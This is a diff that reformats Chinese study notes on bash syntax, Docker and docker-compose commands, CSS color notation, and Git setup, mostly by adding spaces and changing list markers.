| `\|\|` | 逻辑或运算符,如果左边的命令/条件表达式返回假(失败),则执行右边的命令 |
|
||||||
|
|
||||||
### 特殊
|
### 特殊
|
||||||
|
|
||||||
|符号|作用|
|
| 符号 | 作用 |
|
||||||
| ------| ----------------------|
|
| ------ | -------------------- |
|
||||||
|`\|`|在正则中表示或|
|
| `\|` | 在正则中表示或 |
|
||||||
|`!`|在引用中表示间距引用|
|
| `!` | 在引用中表示间距引用 |
|
||||||
|`#`|在数组中表示长度|
|
| `#` | 在数组中表示长度 |
|
||||||
|
|
||||||
### 条件操作符
|
### 条件操作符
|
||||||
|
|
||||||
|操作符|描述|
|
| 操作符 | 描述 |
|
||||||
| --------| ------------------------------------------------------------|
|
| ------- | ----------------------------------------------------------- |
|
||||||
|`=`|字符串比较(相等)|
|
| `=` | 字符串比较(相等) |
|
||||||
|`!=`|字符串比较(不等)|
|
| `!=` | 字符串比较(不等) |
|
||||||
|`-lt`|数值比较(小于)|
|
| `-lt` | 数值比较(小于) |
|
||||||
|`-gt`|数值比较(大于)|
|
| `-gt` | 数值比较(大于) |
|
||||||
|`-le`|数值比较(小于等于)|
|
| `-le` | 数值比较(小于等于) |
|
||||||
|`-ge`|数值比较(大于等于)|
|
| `-ge` | 数值比较(大于等于) |
|
||||||
|`-eq`|数值比较(等于)|
|
| `-eq` | 数值比较(等于) |
|
||||||
|`-ne`|数值比较(不等于)|
|
| `-ne` | 数值比较(不等于) |
|
||||||
|`=~`|正则表达式匹配|
|
| `=~` | 正则表达式匹配 |
|
||||||
|`-z`|字符串为空|
|
| `-z` | 字符串为空 |
|
||||||
|`-n`|字符串不为空|
|
| `-n` | 字符串不为空 |
|
||||||
|`:=`|在参数扩展中使用,用于在变量未设置或为空时赋予一个默认值|
|
| `:=` | 在参数扩展中使 用,用于在变量未设置或为空时赋予一个默认值 |
|
||||||
|
|
||||||
### 逻辑操作符详解
|
### 逻辑操作符详解
|
||||||
|
|
||||||
|操作符|描述|
|
| 操作符 | 描述 |
|
||||||
| --------| ---------------|
|
| -------- | ------------- |
|
||||||
|`&&`|逻辑与(AND)|
|
| `&&` | 逻辑与(AND) |
|
||||||
|`\|\|`|逻辑或(OR)|
|
| `\|\|` | 逻辑或(OR) |
|
||||||
|`!`|逻辑非(NOT)|
|
| `!` | 逻辑非(NOT) |
|
||||||
|
|
||||||
### 算术操作符详解
|
### 算术操作符详解
|
||||||
|
|
||||||
|操作符|描述|
|
| 操作符 | 描述 |
|
||||||
| --------| --------|
|
| ------ | ------ |
|
||||||
|`+`|加法|
|
| `+` | 加法 |
|
||||||
|`-`|减法|
|
| `-` | 减法 |
|
||||||
|`*`|乘法|
|
| `*` | 乘法 |
|
||||||
|`/`|除法|
|
| `/` | 除法 |
|
||||||
|`%`|取模|
|
| `%` | 取模 |
|
||||||
|`**`|幂运算|
|
| `**` | 幂运算 |
|
||||||
|
|
||||||
### 文件测试操作符
|
### 文件测试操作符
|
||||||
|
|
||||||
|操作符|描述|示例|
|
| 操作符 | 描述 | 示例 |
|
||||||
| --------| ----------------------| ------|
|
| ------ | -------------------- | -------------------------- |
|
||||||
|`-f`|文件存在且为普通文件|`if [[ -f $file ]]`|
|
| `-f` | 文件存在且为普通文件 | `if [[ -f $file ]]` |
|
||||||
|`-d`|目录存在|`if [[ -d $directory ]]`|
|
| `-d` | 目录存在 | `if [[ -d $directory ]]` |
|
||||||
|`-e`|文件存在|`if [[ -e $filepath ]]`|
|
| `-e` | 文件存在 | `if [[ -e $filepath ]]` |
|
||||||
|`-r`|文件存在且可读|`if [[ -r $file ]]`|
|
| `-r` | 文件存在且可读 | `if [[ -r $file ]]` |
|
||||||
|`-w`|文件存在且可写|`if [[ -w $file ]]`|
|
| `-w` | 文件存在且可写 | `if [[ -w $file ]]` |
|
||||||
|`-x`|文件存在且可执行|`if [[ -x $file ]]`|
|
| `-x` | 文件存在且可执行 | `if [[ -x $file ]]` |
|
||||||
|`-s`|文件存在且非空|`if [[ -s $file ]]`|
|
| `-s` | 文件存在且非空 | `if [[ -s $file ]]` |
|
||||||
|
@ -37,15 +37,15 @@ case <expression> in
|
|||||||
esac
|
esac
|
||||||
```
|
```
|
||||||
|
|
||||||
case关键字表示开始一个case语句块。
|
case 关键字表示开始一个 case 语句块。
|
||||||
expression是需要匹配的表达式或变量。
|
expression 是需要匹配的表达式或变量。
|
||||||
pattern1, pattern2, pattern3等是可能的匹配模式。
|
pattern1, pattern2, pattern3 等是可能的匹配模式。
|
||||||
command1, command2, command3是与每个模式匹配时要执行的命令。
|
command1, command2, command3 是与每个模式匹配时要执行的命令。
|
||||||
*)是通配符,用于匹配所有不符合前面模式的情况。
|
\*)是通配符,用于匹配所有不符合前面模式的情况。
|
||||||
default_command是当没有匹配模式时执行的命令。
|
default_command 是当没有匹配模式时执行的命令。
|
||||||
;;用于标识每个模式下命令的结束。
|
;;用于标识每个模式下命令的结束。
|
||||||
|
|
||||||
## for循环
|
## for 循环
|
||||||
|
|
||||||
### 第一种
|
### 第一种
|
||||||
|
|
||||||
|
@ -4,8 +4,7 @@ date: 2024-06-06T23:51:42Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## 将 Shell 变量输出为环境变量
|
||||||
## 将Shell变量输出为环境变量
|
|
||||||
|
|
||||||
`export 变量名=变量值`
|
`export 变量名=变量值`
|
||||||
|
|
||||||
|
@ -4,7 +4,6 @@ date: 2024-06-06T23:51:42Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
## 方法一:使用 function 关键字
|
## 方法一:使用 function 关键字
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
|
@ -4,15 +4,14 @@ date: 2024-06-06T23:51:38Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
## 脚本要求
|
## 脚本要求
|
||||||
|
|
||||||
脚本以`#!/bin/bash`开头
|
脚本以`#!/bin/bash`开头
|
||||||
用来指定哪一个shell进行解析,脚本需要可执行权限
|
用来指定哪一个 shell 进行解析,脚本需要可执行权限
|
||||||
|
|
||||||
## 脚本后缀
|
## 脚本后缀
|
||||||
|
|
||||||
通用sh(不限制后缀)
|
通用 sh(不限制后缀)
|
||||||
|
|
||||||
## 执行方法
|
## 执行方法
|
||||||
|
|
||||||
@ -21,6 +20,6 @@ tags: []
|
|||||||
> 赋可执行权限
|
> 赋可执行权限
|
||||||
> 输入程序相对路径或绝对路径
|
> 输入程序相对路径或绝对路径
|
||||||
|
|
||||||
### 2.用bash
|
### 2.用 bash
|
||||||
|
|
||||||
bash+绝对路径或相对路劲
|
bash+绝对路径或相对路劲
|
||||||
|
@ -4,33 +4,33 @@ date: 2024-07-02T13:04:06Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
### 常见命令
|
### 常见命令
|
||||||
|
|
||||||
* 创建运行容器
|
- 创建运行容器
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker run [options] IMAGE [command]
|
docker run [options] IMAGE [command]
|
||||||
```
|
```
|
||||||
|
|
||||||
* command
|
- command
|
||||||
|
|
||||||
* `-d`:后台运行
|
- `-d`:后台运行
|
||||||
* `--name [name]`:容器名称
|
- `--name [name]`:容器名称
|
||||||
* `-p [host port]:[container port]`:映射端口
|
- `-p [host port]:[container port]`:映射端口
|
||||||
* `-v [/host/data]:[/container/data]`:绑定挂载一个数据卷,如果数据卷不存在会自动创建
|
- `-v [/host/data]:[/container/data]`:绑定挂载一个数据卷,如果数据卷不存在会自动创建
|
||||||
* `-e [KEY]=[VALUE]`:环境变量
|
- `-e [KEY]=[VALUE]`:环境变量
|
||||||
* `--network [my-network]`:指定连接到一个网络
|
- `--network [my-network]`:指定连接到一个网络
|
||||||
* `[image]:[tag]`:未指定版本时,默认是latest,代表最新版本
|
- `[image]:[tag]`:未指定版本时,默认是 latest,代表最新版本
|
||||||
* 拉取镜像
|
|
||||||
|
|
||||||
未指定版本时,默认是latest,代表最新版本
|
- 拉取镜像
|
||||||
|
|
||||||
|
未指定版本时,默认是 latest,代表最新版本
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker pull [image]:[tag]
|
docker pull [image]:[tag]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看指定镜像
|
- 查看指定镜像
|
||||||
|
|
||||||
不写镜像名查看所有镜像
|
不写镜像名查看所有镜像
|
||||||
|
|
||||||
@ -38,112 +38,117 @@ tags: []
|
|||||||
docker images [image]
|
docker images [image]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 删除指定镜像
|
- 删除指定镜像
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker rmi [image]
|
docker rmi [image]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 保存镜像
|
- 保存镜像
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker [options] sava [image:tag]
|
docker [options] sava [image:tag]
|
||||||
```
|
```
|
||||||
|
|
||||||
* options
|
- options
|
||||||
|
|
||||||
* `-o [name]`:文件保存文件名
|
- `-o [name]`:文件保存文件名
|
||||||
* 加载镜像
|
|
||||||
|
- 加载镜像
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker load [OPTIONS]
|
docker load [OPTIONS]
|
||||||
```
|
```
|
||||||
|
|
||||||
* options
|
- options
|
||||||
|
|
||||||
* `-i [name]`:镜像文件名
|
- `-i [name]`:镜像文件名
|
||||||
* `-q`:不输入提示内容
|
- `-q`:不输入提示内容
|
||||||
* 列出运行的容器
|
|
||||||
|
- 列出运行的容器
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker ps [options]
|
docker ps [options]
|
||||||
```
|
```
|
||||||
|
|
||||||
* options
|
- options
|
||||||
|
|
||||||
* `-a`:列出包括未运行的容器
|
- `-a`:列出包括未运行的容器
|
||||||
* `-q`:仅显示容器ID
|
- `-q`:仅显示容器 ID
|
||||||
* 停止容器
|
|
||||||
|
- 停止容器
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker stop [container]
|
docker stop [container]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 启动容器
|
- 启动容器
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker start [container]
|
docker start [container]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 删除容器
|
- 删除容器
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker rm [container]
|
docker rm [container]
|
||||||
```
|
```
|
||||||
|
|
||||||
* `-f`:强制删除
|
- `-f`:强制删除
|
||||||
* 查看容器详情
|
|
||||||
|
- 查看容器详情
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker inspect [container]
|
docker inspect [container]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看容器日志
|
- 查看容器日志
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker logs [options] [container]
|
docker logs [options] [container]
|
||||||
```
|
```
|
||||||
|
|
||||||
* `-f`:跟随日志输出(实时显示日志)
|
- `-f`:跟随日志输出(实时显示日志)
|
||||||
* 在运行的容器中执行命令
|
|
||||||
|
- 在运行的容器中执行命令
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker exec [OPTIONS] [container] [COMMAND] [bash]
|
docker exec [OPTIONS] [container] [COMMAND] [bash]
|
||||||
```
|
```
|
||||||
|
|
||||||
* `-i`:保持标准输入打开,即使没有连接。
|
- `-i`:保持标准输入打开,即使没有连接。
|
||||||
* `-t`:分配一个伪终端
|
- `-t`:分配一个伪终端
|
||||||
* `-u`:以指定用户的身份运行命令
|
- `-u`:以指定用户的身份运行命令
|
||||||
* `-d`:在后台运行
|
- `-d`:在后台运行
|
||||||
* `-e`:设置环境变量
|
- `-e`:设置环境变量
|
||||||
|
|
||||||
### 数据卷
|
### 数据卷
|
||||||
|
|
||||||
* 创建数据卷
|
- 创建数据卷
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker volume create
|
docker volume create
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看所有数据卷
|
- 查看所有数据卷
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker volume ls
|
docker volume ls
|
||||||
```
|
```
|
||||||
|
|
||||||
* 删除指定数据卷
|
- 删除指定数据卷
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker volume rm [volume]
|
docker volume rm [volume]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看某个数据卷的详细
|
- 查看某个数据卷的详细
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker volume inspect
|
docker volume inspect
|
||||||
```
|
```
|
||||||
|
|
||||||
* 清除数据卷
|
- 清除数据卷
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker volume prune
|
docker volume prune
|
||||||
@ -153,25 +158,25 @@ tags: []
|
|||||||
|
|
||||||
包含构建镜像需要执行的指令
|
包含构建镜像需要执行的指令
|
||||||
|
|
||||||
* 指定基础镜像
|
- 指定基础镜像
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
FROM [image:tag]
|
FROM [image:tag]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 环境变量
|
- 环境变量
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
ENV [key] [value]
|
ENV [key] [value]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 将本地文件拷贝到容器的指定目录
|
- 将本地文件拷贝到容器的指定目录
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
COPY [/host/file] [/container/file]
|
COPY [/host/file] [/container/file]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 执行容器中的shell命令
|
- 执行容器中的 shell 命令
|
||||||
|
|
||||||
一般执行安装过程
|
一般执行安装过程
|
||||||
|
|
||||||
@ -179,13 +184,13 @@ tags: []
|
|||||||
RUN [command]
|
RUN [command]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
- 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
EXPOSE [port]
|
EXPOSE [port]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 镜像中应用的启动命令
|
- 镜像中应用的启动命令
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
ENTRYPOINT [command]
|
ENTRYPOINT [command]
|
||||||
@ -193,43 +198,43 @@ tags: []
|
|||||||
|
|
||||||
### 网络
|
### 网络
|
||||||
|
|
||||||
* 创建
|
- 创建
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker network create [NETWORK]
|
docker network create [NETWORK]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看
|
- 查看
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker network ls
|
docker network ls
|
||||||
```
|
```
|
||||||
|
|
||||||
* 删除指定网络
|
- 删除指定网络
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker network rm [NETWORK]
|
docker network rm [NETWORK]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 清楚未使用网络
|
- 清楚未使用网络
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker network prune
|
docker network prune
|
||||||
```
|
```
|
||||||
|
|
||||||
* 使指定容器加入指定网络
|
- 使指定容器加入指定网络
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker network connect [NETWORK] [CONTAINER]
|
docker network connect [NETWORK] [CONTAINER]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 使指定容器离开指定网络
|
- 使指定容器离开指定网络
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker network disconnect [NETWORK] [CONTAINER]
|
docker network disconnect [NETWORK] [CONTAINER]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看网络详细信息
|
- 查看网络详细信息
|
||||||
|
|
||||||
```docker
|
```docker
|
||||||
docker network inspect [NETWORK]
|
docker network inspect [NETWORK]
|
||||||
@ -239,13 +244,13 @@ tags: []
|
|||||||
|
|
||||||
#### 常见关键字
|
#### 常见关键字
|
||||||
|
|
||||||
* 指定 Docker Compose 文件的版本号
|
- 指定 Docker Compose 文件的版本号
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
version: "3.8"
|
version: "3.8"
|
||||||
```
|
```
|
||||||
|
|
||||||
* 定义各个服务,每个服务可以有多个配置项。
|
- 定义各个服务,每个服务可以有多个配置项。
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
services:
|
services:
|
||||||
@ -255,61 +260,61 @@ tags: []
|
|||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
* 定义 Docker 网络,用于连接各个服务
|
- 定义 Docker 网络,用于连接各个服务
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
networks:
|
networks:
|
||||||
- [NETWORK]:
|
- [NETWORK]:
|
||||||
```
|
```
|
||||||
|
|
||||||
* 定义 Docker 卷,用于持久化数据或者与宿主机共享数据。
|
- 定义 Docker 卷,用于持久化数据或者与宿主机共享数据。
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
volumes:
|
volumes:
|
||||||
- [/host/data]:[/container/data]
|
- [/host/data]:[/container/data]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 指定使用的镜像名称。
|
- 指定使用的镜像名称。
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
[image]:[tag]
|
[image]:[tag]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 指定构建 Docker 镜像时的 Dockerfile 路径。
|
- 指定构建 Docker 镜像时的 Dockerfile 路径。
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
build: [path]
|
build: [path]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 将容器内部端口映射到宿主机,使外部可以访问容器服务。
|
- 将容器内部端口映射到宿主机,使外部可以访问容器服务。
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
ports:
|
ports:
|
||||||
- "[host port]:[container port]"
|
- "[host port]:[container port]"
|
||||||
```
|
```
|
||||||
|
|
||||||
* 定义环境变量
|
- 定义环境变量
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
environment:
|
environment:
|
||||||
- [KEY]=[VALUE]
|
- [KEY]=[VALUE]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 指定容器启动时执行的命令
|
- 指定容器启动时执行的命令
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
command:
|
command:
|
||||||
- "[command]"
|
- "[command]"
|
||||||
```
|
```
|
||||||
|
|
||||||
* 指定服务启动所依赖的其他服务,会等待依赖的服务启动完成后再启动
|
- 指定服务启动所依赖的其他服务,会等待依赖的服务启动完成后再启动
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
depends_on:
|
depends_on:
|
||||||
- service
|
- service
|
||||||
```
|
```
|
||||||
|
|
||||||
* 定义容器退出时的重启策略
|
- 定义容器退出时的重启策略
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
restart [strategy]
|
restart [strategy]
|
||||||
@ -318,13 +323,14 @@ tags: []
|
|||||||
`no`:不重启
|
`no`:不重启
|
||||||
|
|
||||||
`always`:总是重启
|
`always`:总是重启
|
||||||
* 指定给容器的名称。它是一个唯一标识符
|
|
||||||
|
- 指定给容器的名称。它是一个唯一标识符
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
container_name: [my_container]
|
container_name: [my_container]
|
||||||
```
|
```
|
||||||
|
|
||||||
* 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
- 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
expose:
|
expose:
|
||||||
@ -335,20 +341,21 @@ tags: []
|
|||||||
|
|
||||||
1. 启动容器应用
|
1. 启动容器应用
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker-compose up
|
docker-compose up
|
||||||
```
|
```
|
||||||
|
|
||||||
|
- `-d`:在后台启动服务。
|
||||||
|
- `--build`:构建服务,即使镜像已存在。
|
||||||
|
|
||||||
* `-d`:在后台启动服务。
|
|
||||||
* `--build`:构建服务,即使镜像已存在。
|
|
||||||
2. **停止容器应用**:
|
2. **停止容器应用**:
|
||||||
|
|
||||||
```docker-compose
|
```docker-compose
|
||||||
docker-compose down
|
docker-compose down
|
||||||
```
|
```
|
||||||
|
|
||||||
`-v`:同时移除卷
|
`-v`:同时移除卷
|
||||||
|
|
||||||
`--rmi`:同时删除镜像
|
`--rmi`:同时删除镜像
|
||||||
|
|
||||||
|
|
@ -4,29 +4,27 @@ date: 2024-06-06T23:51:10Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## 颜色名
|
## 颜色名
|
||||||
|
|
||||||
## 光的三原色
|
## 光的三原色
|
||||||
|
|
||||||
1. `rgb`
|
1. `rgb`
|
||||||
- rgb(数值1,数值2,数值3)
|
- rgb(数值 1,数值 2,数值 3)
|
||||||
- 红绿蓝
|
- 红绿蓝
|
||||||
- 数值可以是百分比或数值其中一种
|
- 数值可以是百分比或数值其中一种
|
||||||
2. `HEX`
|
2. `HEX`
|
||||||
- #ffffff
|
- #ffffff
|
||||||
- rgb的16进制版,每两位代表一个颜色
|
- rgb 的 16 进制版,每两位代表一个颜色
|
||||||
3. `rgba`
|
3. `rgba`
|
||||||
- rgba(数值1,数值2,数值3,数值4)
|
- rgba(数值 1,数值 2,数值 3,数值 4)
|
||||||
- 数值可以是百分比或数值其中一种
|
- 数值可以是百分比或数值其中一种
|
||||||
- 最后一位是透明度,0是透明,1是显示
|
- 最后一位是透明度,0 是透明,1 是显示
|
||||||
4. `HEXA`
|
4. `HEXA`
|
||||||
- #ffffffff
|
- #ffffffff
|
||||||
- HEX多了一个透明色
|
- HEX 多了一个透明色
|
||||||
|
|
||||||
如果两两相同,可以只写一位
|
如果两两相同,可以只写一位
|
||||||
IE浏览器不支持透明
|
IE 浏览器不支持透明
|
||||||
|
|
||||||
## 色彩模式
|
## 色彩模式
|
||||||
|
|
||||||
@ -35,4 +33,4 @@ IE浏览器不支持透明
|
|||||||
饱和度:0%-100%
|
饱和度:0%-100%
|
||||||
亮度:0%-100%
|
亮度:0%-100%
|
||||||
`hsla`
|
`hsla`
|
||||||
透明度:0-1的小数或百分数
|
透明度:0-1 的小数或百分数
|
||||||
|
@ -4,9 +4,9 @@ date: 2024-06-06T23:48:36Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
## 一.安装git
|
## 一.安装 git
|
||||||
|
|
||||||
[git官网下载](https://git-scm.com/downloads)
|
[git 官网下载](https://git-scm.com/downloads)
|
||||||
|
|
||||||
## 二.建立仓库
|
## 二.建立仓库
|
||||||
|
|
||||||
@ -21,13 +21,13 @@ cd d:
|
|||||||
cd D:\data\code\C
|
cd D:\data\code\C
|
||||||
```
|
```
|
||||||
|
|
||||||
### 2.变成Git可以管理的仓库
|
### 2.变成 Git 可以管理的仓库
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git init
|
git init
|
||||||
```
|
```
|
||||||
|
|
||||||
### 3.在GitHub (类似 Gitee 的代码托管服务)创建一个仓库
|
### 3.在 GitHub (类似 Gitee 的代码托管服务)创建一个仓库
|
||||||
|
|
||||||
## 三.本地仓库关联 GitHub (类似 Gitee 的代码托管服务)仓库
|
## 三.本地仓库关联 GitHub (类似 Gitee 的代码托管服务)仓库
|
||||||
|
|
||||||
@ -65,7 +65,7 @@ git config --global user.name "Your Name"
|
|||||||
|
|
||||||
#### 2. 创建密钥
|
#### 2. 创建密钥
|
||||||
|
|
||||||
在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开Shell(Windows下打开Git Bash),创建SSH Key
|
在用户主目录下,看看有没有.ssh 目录,如果有,再看看这个目录下有没有 id_rsa 和 id_rsa.pub 这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开 Shell(Windows 下打开 Git Bash),创建 SSH Key
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ssh-keygen -t rsa -C "youremail@example.com"
|
ssh-keygen -t rsa -C "youremail@example.com"
|
||||||
@ -75,8 +75,8 @@ ssh-keygen -t rsa -C "youremail@example.com"
|
|||||||
|
|
||||||
#### 3. 绑定密钥
|
#### 3. 绑定密钥
|
||||||
|
|
||||||
登陆GitHub,打开`Account settings`,`SSH Keys`页面,点`Add SSH Key`,
|
登陆 GitHub,打开`Account settings`,`SSH Keys`页面,点`Add SSH Key`,
|
||||||
填上任意Title,在Key文本框里粘贴`id_rsa.pub`文件的内
|
填上任意 Title,在 Key 文本框里粘贴`id_rsa.pub`文件的内
|
||||||
|
|
||||||
#### 4. 验证远程仓库
|
#### 4. 验证远程仓库
|
||||||
|
|
||||||
@ -106,110 +106,109 @@ git commit -m "提交注释"
|
|||||||
git push github master
|
git push github master
|
||||||
```
|
```
|
||||||
|
|
||||||
> github是之前给仓库的命名,main是分支的名称
|
> github 是之前给仓库的命名,main 是分支的名称
|
||||||
|
|
||||||
## 常用的 Git 命令
|
## 常用的 Git 命令
|
||||||
|
|
||||||
* 推送
|
- 推送
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git push <origin> <master>
|
git push <origin> <master>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 强制将推送本地分支
|
- 强制将推送本地分支
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git push -f <origin> <master>
|
git push -f <origin> <master>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 拉取
|
- 拉取
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git pull <origin> <master>
|
git pull <origin> <master>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 强制将分支的最新内容拉取到本地的分支
|
- 强制将分支的最新内容拉取到本地的分支
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git pull --force <origin> <master>
|
git pull --force <origin> <master>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 将本地分支重置为远程分支的最新状态
|
- 将本地分支重置为远程分支的最新状态
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git reset --hard <origin>/<master>
|
git reset --hard <origin>/<master>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 克隆仓库
|
- 克隆仓库
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git clone <url>
|
git clone <url>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 添加所有更改到暂存区
|
- 添加所有更改到暂存区
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git add .
|
git add .
|
||||||
```
|
```
|
||||||
|
|
||||||
* 撤销部分文件的暂存
|
- 撤销部分文件的暂存
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git reset <file1> <file2>
|
git reset <file1> <file2>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 将文件从缓存区中移除,但物理文件仍然存在
|
- 将文件从缓存区中移除,但物理文件仍然存在
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git rm --cached <path>
|
git rm --cached <path>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看暂存区的内容
|
- 查看暂存区的内容
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git ls-files
|
git ls-files
|
||||||
```
|
```
|
||||||
|
|
||||||
* 提交已暂存的更改
|
- 提交已暂存的更改
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git commit -m "Commit message"
|
git commit -m "Commit message"
|
||||||
```
|
```
|
||||||
|
|
||||||
* 查看分支
|
- 查看分支
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git branch
|
git branch
|
||||||
```
|
```
|
||||||
|
|
||||||
* 创建并切换到新分支
|
- 创建并切换到新分支
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git checkout -b <new_branch_name>
|
git checkout -b <new_branch_name>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 删除本地分支
|
- 删除本地分支
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git branch -d <branch_nam>
|
git branch -d <branch_nam>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 添加远程仓库
|
- 添加远程仓库
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git remote add <origin> <remote_repository_url>
|
git remote add <origin> <remote_repository_url>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 移除与远程仓库的关联
|
- 移除与远程仓库的关联
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git remote remove <origin>
|
git remote remove <origin>
|
||||||
```
|
```
|
||||||
|
|
||||||
* 版本回退
|
- 版本回退
|
||||||
|
|
||||||
> HEAD相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
|
> HEAD 相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
|
||||||
>
|
|
||||||
|
|
||||||
```git
|
```git
|
||||||
git reset --hard HEAD~1
|
git reset --hard HEAD~1
|
||||||
@ -269,7 +268,7 @@ git config --global core.eol crlf
|
|||||||
|
|
||||||
### 上传需要忽略的文件
|
### 上传需要忽略的文件
|
||||||
|
|
||||||
在项目根目录下创建一个名为`.gitignore`的文件,然后在文件中列出你想要忽略的文件和目录例如
|
在项目根目录下创建一个名为`.gitignore` 的文件,然后在文件中列出你想要忽略的文件和目录例如
|
||||||
|
|
||||||
```git
|
```git
|
||||||
# 忽略 test.c 文件
|
# 忽略 test.c 文件
|
||||||
@ -280,15 +279,20 @@ practice_test/
|
|||||||
**/test.c
|
**/test.c
|
||||||
```
|
```
|
||||||
|
|
||||||
在项目根目录下创建一个名为`.gitignore`的文件,然后在文件中列出你想要忽略的文件和目
|
